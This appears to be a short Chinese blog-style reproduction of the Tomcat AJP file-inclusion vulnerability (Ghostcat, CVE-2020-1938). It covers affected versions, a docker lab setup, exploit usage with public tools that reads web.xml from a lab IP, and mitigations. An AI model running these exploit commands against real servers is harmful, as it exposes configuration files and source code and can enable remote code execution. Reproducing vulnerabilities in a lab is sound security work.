Aapache Tomcat AJP 文件包含漏洞
Aapache Tomcat AJP 文件包含漏洞(CVE-2020-1938)复现
Java 是目前 Web 开发中最主流的编程语言,而 Tomcat 是当前最流行的 Java 中间件服务器之一,从初版发布到现在已经有二十多年历史,在世界范围内广泛使用。
Ghostcat(幽灵猫) 是由长亭科技安全研究员发现的存在于 Tomcat 中的安全漏洞,由于 Tomcat AJP 协议设计上存在缺陷,攻击者通过 Tomcat AJP Connector 可以读取或包含 Tomcat 上所有 webapp 目录下的任意文件,例如可以读取 webapp 配置文件或源代码。此外在目标应用有文件上传功能的情况下,配合文件包含的利用还可以达到远程代码执行的危害。
受影响版本
Apache Tomcat 6
Apache Tomcat 7 < 7.0.100
Apache Tomcat 8 < 8.5.51
Apache Tomcat 9 < 9.0.31
环境搭建 Tomcat 9.0.30:
docker-compose up -d
复现
// 利用脚本下载
// https://github.com/hypn0s/AJPy
git clone https://github.com/hypn0s/AJPy.git
// 使用方法
// python tomcat.py read_file --webapp=manager /WEB-INF/web.xml 192.168.233.131
// 利用脚本
https://github.com/xindongzhuaizhuai/CVE-2020-1938
建议:
1、临时禁用AJP协议端口,在conf/server.xml配置文件中注释掉<Connector port="8009" protocol="AJP/1.3"redirectPort="8443" />
2、配置ajp配置中的secretRequired跟secret属性来限制认证
3、打补丁
打错环境了,顺便写的。